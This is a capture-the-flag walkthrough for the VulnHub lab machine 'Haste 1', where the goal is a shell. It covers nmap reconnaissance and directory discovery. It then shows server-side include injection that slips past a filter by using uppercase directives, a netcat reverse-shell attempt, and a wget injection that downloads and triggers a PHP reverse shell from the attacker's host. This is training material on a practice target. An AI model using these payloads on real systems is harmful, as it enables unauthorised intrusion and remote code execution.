Details

This machine is https://www.vulnhub.com/entry/haste-1,203/

Note: The goal of this machine is only to get shell, not to gain root

Recon Phase

I started by locating the machine on the network

root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00038s latency).
MAC Address: 0A:00:27:00:00:16 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00050s latency).
MAC Address: 08:00:27:F9:08:C9 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.0038s latency).
MAC Address: 08:00:27:DC:1B:F4 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.68 seconds

Now knowing that machine was running on 192.168.56.101 I performed a service discovery scan

root@kali:~# nmap -sV 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.0010s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:DC:1B:F4 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.91 seconds

I then ran some scripts against it

root@kali:~# nmap -sC 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
| http-robots.txt: 1 disallowed entry
|_/spukcab
|_http-title: H.A.S.T.E
MAC Address: 08:00:27:DC:1B:F4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

Gaining The Shell

To start off I navigated to the http://192.168.56.101/ in browser

From the nmap scripts I knew there was a section called /spukcab which was excluded with robots.txt. So I went to it to find out what it was

When inspecting these files, I found that index.bak was just the html source code for the index page, but that oldconfig.bak contains some apache config

Although now knowing some details about the config, the main thing it confirmed was the server was using php. So I setup dirbuster to look for more leads

Noticing there was an index file both with and without the .php extension, I tried accessing the one without

This looked like a server side include which was used slightly wrong. I became more confident in this when I found /ssi

From here I considered injecting my own server side includes, and from the homepage I knew there was a form I could try it on which reflected the user input

To work out if I could exploit this, I started with a basic XSS payload of

<script>alert(1)</script>

Which worked as I had hoped

As this worked, I tried injecting a server side include

<!--#exec cmd="pwd"-->

But this didn't work. As a bit of a hopeful guess, I tried

<!--#EXEC cmd="pwd"-->

Encase it was only being filtered out as a pattern match, and

It worked, I now had the ability to inject commands. I started by trying to open a reverse shell. To do this I needed a listener

root@kali:~# nc -nlvp 4444

The in the form I put

<!--#EXEC cmd="nc -e /bin/bash 192.168.56.102 4444"-->

But this did not work. So I decided to try and make the target machine pull code to be executed as a file. This first required me to start the webserver on my kali machine

root@kali:~# apache2ctl start

Then I needed a reverse shell to provide the server

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/php-reverse-shell.txt

I used a .txt extension so that when it was requested by the target, the source code would be sent. I then edited the txt to contain my machines ip and selected port (4444). Next I triggered the target to download this file by injecting

<!--#EXEC cmd="wget 192.168.56.102/php-reverse-shell.txt -O php-reverse-shell.php"-->

I used -O to convert it back to php on the target so that I could trigger it to execute by navigating to the file url in browser. Next I needed to confirm the file had been created

<!--#EXEC cmd="ls -la"-->

The file had been downloaded. So ensuring my listener was still open I went to http://192.168.56.101/php-reverse-shell.php in browser to trigger it

connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 33394
Linux ConverterPlus 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:13 UTC 2017 i686 i686 i686 GNU/Linux
10:06:14 up  2:27,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

And that was a shell. As per the creator of the machine, the goal was merely to get a shell. So the machine is done!